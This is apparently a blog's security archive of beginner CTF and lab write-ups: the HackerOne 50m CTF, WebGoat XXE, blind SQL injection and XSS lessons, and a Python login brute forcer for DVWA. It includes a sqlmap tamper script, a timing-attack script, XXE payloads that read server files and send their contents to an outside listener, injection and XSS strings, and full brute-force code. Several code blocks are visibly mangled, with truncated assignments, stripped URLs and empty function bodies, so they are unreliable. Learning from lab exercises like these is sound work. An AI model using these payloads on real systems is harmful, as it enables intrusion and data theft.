Category Archives: InfoSec

50m CTF write-up

On the 26th of February HackerOne announced ‘the biggest, the baddest, the warmest’ CTF, with an incredible price of 10.000 US$. Being a beginner hacker my first reaction was: ‘with that kind of price, I’ve no chance in hell to solve it!’. However, since I love playing CTFs I took a shot anyway. This is my write-up of the CTF, which I unfortunately was unable to solve due to both lack of time and lack of experience. I did however, get much further than I would have ever dreamed.

Step 1

The tweet included two PNG pictures and no hint on what to do. I’d recently done another CTF by Intigriti which also included a picture, and reasoned that steganography had to be involved. Running steghide on the image didn’t help, since it didn’t support PNGs. Neither did hexdump nor messing with the picture in Gimp. I then went and searched Duckduckgo for ‘png hidden stego’ and came upon a tool for extracting information from PNGs, namely zsteg. Running through the examples in their readme I was able to extract a link with the following command:

./zsteg D0XoThpW0AE2r8S.png -b 1 -o yx -v

Visiting the link led to a Google Drive box with a single file, an Android APK.

Step 2

First thing I did was load the APK in Android Studio and run it in a VM. It presented me with a clean login interface and nothing else. I tried a few username/password combos and intercepted the traffic in Burp. Turned out both the request and reply were encrypted.

Digging through the java code using jd-gui I could see that the app was using AES-256-CBC to encrypt and decrypt, and the key was even hardcoded!

After a couple unfruitful days trying to decrypt the payloads using OpenSSL I gave up and threw together a python script, which luckily was a lot easier that I expected. With this script I was able to both see and tamper with the requests the app sent. I tried bruteforcing the login credentials which was surprisingly easy: username: admin, password: password! Thinking I’d solved this step I logged in and was presented with a thermostat that allowed me to change the temperature somewhere… And nothing else. Apparently a dead end!

I continued to tamper with the payloads and discovered that by including a single quote in the username I could provoke a different error message from the server. Using two single quotes did not give an error. Great! Apparently the username was vulnerable to SQL injection!

Exploiting this injection manually seemed pretty daunting, so I looked to sqlmap. One problem though: I needed to encrypt every payload sent by sqlmap for the server to understand it. Luckily sqlmap has an option called ‘tamper’, which runs every payload through a python script. I looked through the included scripts but none of them did what I needed, so I wrote a new one using the code I wrote for manually tampering with the payloads. The result was this:

 #!/usr/bin/env python3.6

""" For use in sqlmap as tamper script.
Encrypts payload using AES-CBC, then base64 and finally URL-encodes
chars. """

import base64
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
from lib.core.enums import PRIORITY
import urllib

__priority__ = PRIORITY.LOW

pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE)
* chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)

def dependencies():

def tamper(payload, **kwargs):
retVal = payload
password = b'\x38\x4f\x2e\x6a\x1a\x05\xe5\x22\x3b\x80\xe9\x60\xa0\xa6\x50\x74'
retVal = "{\"username\":\"" + retVal +
retVal = pad(retVal)
iv =
cipher =, AES.MODE_CBC, iv)
retVal = retVal.encode('ascii', 'ignore')
retVal = base64.b64encode(iv +
retVal = retVal.replace('/', '%2F').replace('+',
'%2B').replace('=', '%3D')
return retVal

I let sqlmap run overnight and next morning it had dumped the whole database for me. One of the tables in the database was called ‘devices’ which included a list of 151 IP addresses. Most of those were LAN IPs (192.*.*.*), so I used sed to remove those and were left with a list of just 52 ‘real’ IPs. Feeding this list to nmap gave me just one working IP, which I did a full scan of.

Step 3

Visiting the URL on port 80 presented me with yet another login screen, and the site appeared to be the backend for the Android Thermostat app. I tried the usual stuff, weak login credentials (admin/password didn’t work here!), ran wfuzz to look for interesting pages, etc. The login function used a javascript to hash the username and password with a custom hashing algorithm using lots of XORs. It appeared quite daunting to me as I have no programming or IT background at all.

At this point I left the CTF for some days, not really knowing how to proceed. I did notice one interesting thing though: when dumping the database earlier, apart from the ‘devices’ table, there was a table with just two usernames and their hashed password. The admin password was hashed using MD5 and I was able to crack it (I already knew the password), but the password of user ‘test’ was encrypted using the custom hash of the backend login form. By pure chance I noticed that by trying to login as test:test the hash was equal to the one found in the database. I thought I’d stumbled upon the login by pure chance, but it turned out this was just another red herring.

I talked to another hacker Checkm50 who was well ahead of me in the CTF, and he hinted that I should look into timing attacks. I did some tests on the login and noticed that by systematically changing the first byte of the hash, one in 256 bytes took around half a second longer to get a reply from the server. I threw together a script to exploit this, but then realised that if each successive correct byte took half a second longer, this attack would take a LONG time.

 # Script to perform time-based attack on the 50m-CTF login. 
from collections import defaultdict
import requests
import numpy as np
import datetime

url = ''
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
string =
results = defaultdict(list)

print('Starting login timing attack at ' +
str( + '. \n')

for j in range(5): # Number of iterations
for i in range(256): # Cycle through all 256 bytes
payload = string[:2] + "%0.2x" % i + string[4:]
data = 'hash=' + payload
req =, headers=headers, data=data)
print('Cycle ' + str(j) + ' complete at ' +
str( + '. \n')
j += 1

for key in results:
result = np.mean(results[key])
if result > (1.5): # Adjust this number
print(str("%0.2x" % key) + ': ' + str(result))


The script required a lot of manual intervention. I let it run for 2-3 iterations of all possible 256 bytes since the timing fluctuated a little, and it wasn’t always clear which byte took 500ms longer. The first iterations took just a few minutes, but due to the 500ms delay for each correct byte, the last bytes took over an hour for each iteration! After about 3 days I was able to extract the correct login hash and log in.

Step 4

I had already run wfuzz on the site, so I knew what pages existed. I couldn’t get in to /diagnostics even though I was logged in, so I only had /control and /update to work with. Visiting /update the page tried to contact a fictitious server on port 5000 and failed. Doing some guessing on the URL parameters, I was quickly able to find that by adding ?port=80 to the URL the page used that port instead. Great! Now I only needed to find the parameter to change the URL.
Which again turned out to be harder than I imagined…..

Once again with some hints from hacker Checkm50 and an official hint on Twitter I was able to part guess, part bruteforce, the parameter for the URL. I supplied it my own IP, booted up my Raspberry Pi server, and… nothing. No traffic. Of course it wouldn’t be this easy!

At this point the CTF had run for almost a month, and the next day I woke up to the news that it had ended, and the server taken off line.
To be honest I probably wouldn’t have finished it anyway, it was quickly reaching a level way over my skill level. Still, I’m very glad to have participated, I learned a lot and actually got much farther than I would ever have dreamed.


The WebGoat XXE (XML External Entity) section has 3 exercises. The first 2 are pretty easy, the last one quite difficult.
So without further ado, let’s get to it!

Exercise 3

In this exercise you are asked to list the contents of the root file system directly in a comment using XXE. For this, you can use the SYSTEM “file://” entity, as follows:

<?xml version=”1.0″?>
<!DOCTYPE comment [
<!ENTITY xxe SYSTEM “file:///”>

Intercept the request with a proxy and change the POST data to the above. This works on Linux systems, for Windows you should list the contents of C:/ instead of /.

Exercise 4

This one is very simple, do the same as above but with a twist. Initially, the data is sent by JSON not XML. Just change the Content-Type to application/xml in the header.

Page 6

This is not really an exercise, but since the tutorial is full of errors and you have to get it working correctly before trying the next exercise, I have included it.
You are asked to ping the landing page of WebWolf with the test=HelloWorld parameters, using the following attack.dtd file uploaded to WebWolf:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!ENTITY ping SYSTEM ‘’>

It is important to go to ip:port/landing, NOT ip:port/WebWolf/landing as the tutorial says! Trying to go to /WebWolf/landing constantly returned the error Scanner State 24, which didn’t make much sense. Also, don’t forget to send the parameters, the tutorial doesn’t mention this.

Exercise 7

This exercise builds upon the example on page 6, so it’s important to get that to work first. This time, you are supposed to ping the landing page of WebWolf with the contents of a secret file from the server system. You should do this with an attack file hosted on WebWolf, not listing the file in the comment section of WebGoat (which is much easier).

First, construct and upload the contents_file.dtd to WebWolf:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!ENTITY % all “<!ENTITY send SYSTEM ‘;’>”>%all;

This pings /landing with the file parameter which we’ll specify later, allowing you to see its contents in WebWolf (Incoming Requests).
Again, write a comment in WebGoat and intercept the POST, changing it to the following:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE xxe [
<!ENTITY % file SYSTEM “file:///home/tux/.webgoat-8.0.0.M21/XXE/secret.txt”>
<!ENTITY % dtd SYSTEM “”>

This command does two things: reads the secret.txt file and allows it to be referenced as %file; and opens the contents_file.dtd on the WebWolf server, which then pings itself with the contents of %file;.
Now go to Incoming Requests in WebWolf, look at the latest record and copy the parameter (removing URL encoded spaces). Post this message in WebGoat under the cute cat, and you should have solved the exercise!

OWASP WebGoat SQLi mitigation lesson 8

The OWASP WebGoat SQL Injection Mitigation lesson 8 is another blind SQL exercise, very similar to the SQL advanced lesson 5. Actually, I solved it with a similar technique to that one.
The goal is to find the IP of the webgoat-prd server, which is not listed on the page. Try sorting the entries via the GUI and capture the traffic with a proxy. You should see a column parameter in the URL being sent. You can only modify the order by clause of the SQL query being made in the column parameter, but as was explained on the previous page in WebGoat, order by allows you to use case to construct a sub query.
The case construct works like this:

case (true) then something else something_else end

If the case evaluates to true then do the first thing, else do the other thing. Since we are working within the order by clause, there’s really only one thing we can do as then or else, which is sort by one of the returned (column) values. To avoid complicating matters, I used sort by id for true, and sort by IP for false. That way, I could quickly spot if my query was true by checking if the returned data was sorted numerically.
The real question is what to use for the case evaluation. After some messing around I settled on exists and constructed a few queries.

exists(select id from servers where hostname=’webgoat-prd’)

checks if webgoat-prd actually exists in the database. Since the results returned were sorted numerically, it does!

After some trial and error I was able to construct the following final query, which extracts the IP one number at a time. Like in the SQL advanced mission 5, using Burp Intruder makes the task much easier and faster.

http://localhost:8080/WebGoat/SqlInjection/servers?column=(case when exists(select id from servers where hostname=’webgoat-prd’ and substring(ip,1,1)=1) then id else ip end)

If the returned query is sorted by id, then ‘1’ is the first number of the webgoat-prd IP address. As with lesson 5, it is just a question of iterating through all numbers and the starting index of substring. Since we don’t know the length of the IP address beforehand, we should also check for the string ‘.‘ (dot), for example in the 4th and 8th index.

Following the above technique it should be relatively easy to extract the IP address from the database.

OWASP WebGoat SQL advanced lesson 5

Last week I wrote about the OWASP WebGoat XSS lessons. Today I’d like to write a few pointers on how to solve the SQL injection (advanced) lesson 5. The goal is simple: you are presented with a login box and given a username; log in as that user.

The usual username’ OR ‘1’=’1 — unfortunately doesn’t work (that would have been too easy!), and since the last slide talked about blind SQL injection, it was pretty obvious that this was the way to go. After a few unfruitful hours trying to use SLEEP and UNION on the register new user page I started looked online for a hint. What I found was to register a new user, and then register it again with either TRUE or FALSE:

Register new user: testuser
Again register the same user but like this: testuser’ AND ‘1’=’1
Which equates to “testuser and TRUE”. When registering this user, pay attention to the server reply:

User testuser’ and ‘1’=’1 already exists please try to register with a different username.

Now try registering: testuser’ AND ‘1’=’2
Which translates to “testuser and FALSE”. The server now replies:

User testuser’ and ‘1’=’2 created, please proceed to the login page.

At first I thought it literally created the user “testuser’ and ‘1’=’1” but no, it still creates only “testuser” but apparently the added 1=1 means “user already exists”, as opposed to 1=2 meaning user doesn’t exist, although it does (we already created user “testuser”).

Again, since the last slide talked about extracting the database version string with substring(database_version(),1,1)=’1 I tried tagging that on to the username instead of ‘1’=’1. Iterating through all 10 numbers for the database version, I got 2 as the only TRUE statement. Using this technique, I was able to find 2.3.4 as being the database version.

So what other kind of information can we extract using substring? I first tried ‘user’ and ‘username’, but got an error saying the string didn’t exist. ‘userid’ worked though, but I saw no need for that information. In a flash of inspiration I tried ‘password’, and lo and behold, the first letter that equated to TRUE was ‘t’:

tom’ AND substring(password,1,1)=’t

User tom’ AND substring(password,1,1)=’t already exists please try to register with a different username.

As we saw before, ‘1’=’1 equals TRUE and returns “user already exists”, so if the above command returns the same, it must equal TRUE as well. We now have the tool to extract Tom’s password!

At this point I got tired of going through all characters manually and fired up Burp and configured BURP Intruder for a sniper attack. There’s only 1 parameter to fuzz, the very last letter in the string. This is very easy to do with Intruder with the following settings:

Attack type: Sniper
Payload: Brute Forcer
Character set: abcdefghijklmnopqrstuvwxyz0123456789
Min length: 1
Max length: 1

To find a hit, sort the results by length. A successful hit is slightly longer than a miss.

Each time I got a hit I changed the start position of substring (2nd parameter) and ran intruder again. Within half an hour I had poor Tom’s password!

OWASP WebGoat XSS lessons

I recently installed WebGoat, a deliberately vulnerable web app with built-in lessons. While some of the lessons are very easy, they quickly rise to a much higher difficulty. Even though the app does explain the basic concepts, the explanations are nowhere good enough to solve the exercises provided.

In this post I’ll focus on the Cross-Site Scripting (XSS) lessons, which I was recently able to solve.

After having installed WebGoat, you may want to access it from another client. You can do this by launching it with the –server.address=x.x.x.x parameter. Also, if you don’t want to reconfigure Burp or ZAP, –server.port=8081 allows you to run WebGoat on a different port from the default 8080 which these proxies normally use.

The first 2 XSS lessons are pretty straight-forward and I won’t talk about them (however, see here). However, on lesson 10 I started having difficulties: I didn’t really understand what they were asking for (“what is the route for the test code that stayed in the app during production”)? Turns out you have to dig through the javascript source code and look for some kind of test code. The first time you answer incorrectly you’ll get a hint on where to look. The difficulty for me was in finding out exactly the answer they wanted. Looking in GoatRouter.js (as the hint suggests), you’ll find the following key/value pairs:

routes: {
‘welcome’: ‘welcomeRoute’,
‘lesson/:name’: ‘lessonRoute’,
‘lesson/:name/:pageNum’: ‘lessonPageRoute’,
‘test/:param’: ‘testRoute’,
‘reportCard’: ‘reportCard’

Try playing around with these routes; as the lesson suggests, the base route for the lesson is start.mvc#lesson/. What is the route for reportCard? Try accessing start.mvc#reportCard.
Now for the test code: Of the 5 routes we have in the above code, it’s obviously the ‘test/:param’:’testRoute’ part we are interested in. How does this translate as a base route? If the lesson base route is start.mvc#lesson/, it should follow the same premise. Forget about the :param and testRoute part, we won’t need that until later.

Lesson 11 is where things start to get really interesting. Having identified the base route for the test code, we are now asked to run the code. Try accessing the test code in the browser (base route + parameters as seen in GoatRouter.js).

Now that’s interesting. It seems as if what we wrote in the URL gets reflected in the page. Try writing something else after test/, like the classic <script>alert(1)</script>:

Remember to URL-encode the / in </script>, or it won’t work (as %2F).

So we now know that the parameters after the base route get reflected in the page. Since the reflected part never gets sent to the server, this is DOM-based XSS. However, in this mission we are not interested in getting a pop-up, but in running the phoneHome test code and getting its output from the browser console (Firefox: right-click -> Inspect Element -> Console). So how do we run the code? If <script>alert()… allow us to get a pop-up box, which tags allow us to run javascript code (stop reading here if you want to figure out the rest yourself)?

One possible way is:


Run this, and look in the console.log:

‘phone home said {“lessonCompleted”:true,”feedback”:”Congratulations. You have successfully completed the assignment.”,”output”:”phoneHome Response is -1798806219″}’

The ‘Response’ is obviously the answer to the mission.

Lesson 13 is a continuation of what we learned in lesson 11. This time you are the evil hacker trying to steal everyone else’s session on a message board. Or rather, you want to insert a stored bit of XSS that other potential users will inadvertently execute. I had a lot of trouble with this mission, and even though I believe I’ve solved it the way they want me to, it still shows as unsolved in the stats.
After a lot of trial and error I tried inserting the base javascript webgoat.customjs.phoneHome() into a message using the <embed src=””> tag. There are other ways to execute it, like <script src=”javascript:webgoat.customjs.phoneHome();”></script>. They all pretty much do the same thing, execute the javascript and generate a new mission Response code.

As I said, even though I input the code in the mission and the page says “Yes, that is the correct value”, it still shows as unsolved in the mission stats. The lesson link however is green, as in a solved mission. A bug?


This YouTube video by Lim Jet Wee might be helpful for lesson 10. 

DVWA login brute-forcer in Python

I recently started playing around with the Damn Vulnerable Web Application, a PHP/MySQL web app for security researchers and students. It is, as the name implies, damn vulnerable.

After installation of DVWA you’ll be presented with a login page. Unless you supply the user and password from the manual you’ll have to get access some other way. Fruitlessly trying some SQL injection I decided to simply brute force the login, and used Burp Suite to get some more information. Turns out that all you need to login is the username, password, user token and a session id. The session id is provided in a cookie, the user token by the login page, and the username and password is of course what we need to find.

<input name="user_token" type="hidden" value="d3b0fabcd22dd8ad5f202f508777f8b8" />

While manually supplying a few user names and passwords I found out that the login page responds with a 302 Found HTTP response, either forwarding back to the login page in case of a failed login, or to index.php in case of a successful login (I already knew the default user name and password from the manual). Going back to the index.php resulted in a new user token being generated, but ignoring the forward meant I could continue supplying the same user token again and again.

I wrote the brute forcer in python using BeautifulSoup, requests and re, all python modules. The program is pretty simple: request the login page, find and extract the user token from within the login page, get the session id from the cookie, and return these plus a random username and password with a HTTP POST method.

Running this script with a supplied list of user names and passwords meant I was able to find the login in just a few seconds. The script is tailored to DVWA but could easily be customised for other vulnerable sites.


from bs4 import BeautifulSoup
import requests
import re

# url to attack
url = ""

# get users
user_file = "users.txt"
fd = open(user_file, "r")
users = fd.readlines()

# get passwords
password_file = "passwords.txt"
fd = open(password_file, "r")
passwords = fd.readlines()

# Changes to True when user/pass found
done = False

print("Attacking " + url + "\n")

# Get login page
    r = requests.get(url, timeout=5)
except ConnectionRefusedError:
    print("Unable to reach server! Quitting!")

# Extract session_id (next 2 lines are from
session_id = re.match("PHPSESSID=(.*?);", r.headers["set-cookie"])
session_id =

print("Session_id: " + session_id)
cookie = {"PHPSESSID": session_id}

# prepare soup
soup = BeautifulSoup(r.text, "html.parser")

# get user_token value
user_token = soup.find("input", {"name":"user_token"})["value"]

print("User_token: " + user_token + "\n")

for user in users:
    user = user.rstrip()
    for password in passwords:
            if not done:
                password = password.rstrip()
                payload = {"username": user,
                    "password": password,
                    "Login": "Login",
                    "user_token": user_token}

                reply =, payload, cookies=cookie, allow_redirects=False)

                result = reply.headers["Location"]

                print("Trying: " + user + ", " + password, end="\r", flush=True)

                if "index.php" in result:
                    print("Success! \nUser: " + user + " \nPassword: " + password)
                    done = True